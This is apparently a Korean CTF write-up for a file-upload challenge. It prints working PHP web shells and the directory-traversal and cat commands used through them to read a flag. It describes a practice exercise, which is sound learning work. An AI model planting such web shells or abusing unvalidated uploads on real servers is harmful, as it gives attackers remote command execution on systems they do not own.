Wargame & CTF/SegFault

[SegFault] (File Vuln) - Web Shell 1

Gearvirus(junyup2) 2024. 2. 8. 23:45

[SegFault] (File Vuln)

Web Shell 1

php μ›Ή μ‰˜μ„ μ˜¬λ €μ„œ, flag.txt νŒŒμΌμ„ 찾아내라!

문제 νŒŒμ•…

λ³Έ λ¬Έμ œλŠ” File Vulnerability에 κ΄€ν•œ λ¬Έμ œλ‘œμ„œ, 'Server Side Script' File, 즉 μ›Ή μ‰˜(Web Shell)을 Upload ν•˜κ³ , ν•΄λ‹Ή μ›Ή μ‰˜μ˜ μ—…λ‘œλ“œ μœ„μΉ˜λ₯Ό μ°Ύμ•„ μ‹€ν–‰μ‹œμΌœ flag.txt νŒŒμΌμ„ μ°ΎλŠ” λ¬Έμ œμ΄λ‹€.


풀이 κ³Όμ • (ν•΄κ²° λ°©μ•ˆ)

ν•œμ€„ μ›Ή μ‰˜

기본적인 ν•œ 쀄 μ›Ήμ‰˜μ€ λ‹€μŒκ³Ό κ°™λ‹€.

<?php
echo system($_GET['cmd']);           
?>

μœ„μ™€ 같은 κ°„λ‹¨ν•œ μ›Ή μ‰˜μ„ μ‚¬μš©ν•˜λŠ” 것이 μΌλ°˜μ μ΄μ§€λ§Œ, λΈŒλΌμš°μ €μ—μ„œ ν…ŒμŠ€νŠΈν•˜κΈ° νŽΈν•˜λ„λ‘ μ•„λž˜μ™€ 같이 μˆ˜μ •ν•œ μ›Ή μ‰˜ μ½”λ“œλ₯Ό μ‚¬μš©ν•  것이닀.

 

μ‚¬μš©ν•œ μ›Ή μ‰˜ μ½”λ“œ

μ‚¬μš©ν•˜κΈ° νŽΈν•˜λ„λ‘ μˆ˜μ •ν•œ μ›Ή μ‰˜ μ½”λ“œμ΄λ‹€.

<?php
    echo 'Enter a Command:<br>';
    echo '<form action="" method="get">';
    echo '<input type="text" name="cmd">';
    echo '<input type="submit">';
    echo '</form>';
    
    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
?>

 

μ›Ή μ‰˜ μ—…λ‘œλ“œ

κ²Œμ‹œνŒμ˜ μ—…λ‘œλ“œ κΈ°λŠ₯μ—μ„œ Server Side Script νŒŒμΌμ— λŒ€ν•œ ν™•μž₯자 검증이 이루어지지 μ•Šμ•„ (.php) 파일의 μ—…λ‘œλ“œκ°€ κ°€λŠ₯ν•œ 것을 ν™•μΈν•˜μ˜€λ‹€.

μœ„μ˜ μ›Ή μ‰˜μ„ μ—…λ‘œλ“œ ν•œ ν›„, λ‹€μš΄λ‘œλ“œ 링크λ₯Ό ν™•μΈν•˜λ©΄, ν•΄λ‹Ή 파일의 μœ„μΉ˜λ₯Ό μ•Œ 수 있고, ν•΄λ‹Ή κ²½λ‘œλŠ” λ‹€μŒκ³Ό κ°™λ‹€.

http://ctf.segfaulthub.com:8989/webshell_1/files/gear/web_shell.php

 

flag μ°ΎκΈ°

μœ„μ˜ μ›Ήμ‰˜ 경둜λ₯Όμž…λ ₯ν•˜λ©΄ λΈŒλΌμš°μ € μƒμ—μ„œ λ‹€μŒκ³Ό 같은 μ›Ή μ‰˜ 창을 확인할 수 μžˆλ‹€.

ν˜„μž¬μ˜ κ²½λ‘œλŠ” /webshell_1/files/gear/ 이닀. κ·ΈλŸ¬λ―€λ‘œ flag.txt νŒŒμΌμ„ μ°ΎκΈ° μœ„ν•΄μ„œλŠ” /webshell_1/ κ²½λ‘œκΉŒμ§€ μ˜¬λΌκ°€μ•Όν•œλ‹€.

dir ../../

μœ„μ™€ 같이 μž…λ ₯ν•˜μ—¬ μ–΄λ–€ 디렉터리듀이 μžˆλŠ”μ§€ 확인해 λ³Έ κ²°κ³Ό important_dataλΌλŠ” 디렉터리가 μ‘΄μž¬ν•˜λŠ” 것을 확인할 수 μžˆμ—ˆλ‹€.

ν•΄λ‹Ή κ²½λ‘œμ— μ‘΄μž¬ν•˜λŠ” μœ„μ˜ 디렉터리에 접근해봐야 ν•œλ‹€.

dir ../../important_data

μœ„μ™€ 같이 μž…λ ₯ν•˜μ—¬ ν•΄λ‹Ή λ””λ ‰ν„°λ¦¬μ˜ λ‚΄λΆ€λ₯Ό 확인해 λ³Έ κ²°κ³Ό flag.txtκ°€ μ‘΄μž¬ν•˜λŠ” 것을 확인할 수 μžˆμ—ˆλ‹€.

λ‚΄μš©μ„ ν™•μΈν•˜κΈ° μœ„ν•΄ cat λͺ…λ Ήμ–΄λ₯Ό μ΄μš©ν•œλ‹€.

cat ../../important_data/flag.txt

μœ„μ™€ 같이 μž…λ ₯ν•œ κ²°κ³Ό flagλ₯Ό νšλ“ν•  수 μžˆμ—ˆλ‹€.


생각해 λ³Ό 점

find λͺ…λ Ήμ–΄λ₯Ό μ΄μš©ν•˜μ—¬ 찾을 μˆ˜λ„ μžˆμ—ˆκ² μ§€λ§Œ, ν•΄λ‹Ή λͺ…λ Ήμ–΄λ₯Ό μ΄μš©ν•˜λ €λ©΄ μ°ΎμœΌλ €λŠ” 파일의 이름을 ν™•μ‹€ν•˜κ²Œ μ•Œκ³  μžˆλŠ” κ²½μš°μ—λ§Œ κ°€λŠ₯ν•˜κΈ° λ•Œλ¬Έμ— 직접 μ°Ύμ•„λ³΄λŠ” 방식을 μ„ νƒν•˜μ˜€λ‹€.

find λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•˜λŠ” κ²½μš°λŠ” λ‹€μŒκ³Ό κ°™λ‹€.

find / -name flag.txt


질문 ν™˜μ˜, μˆ˜μ • 및 보완에 λŒ€ν•œ μ§€μ  ν™˜μ˜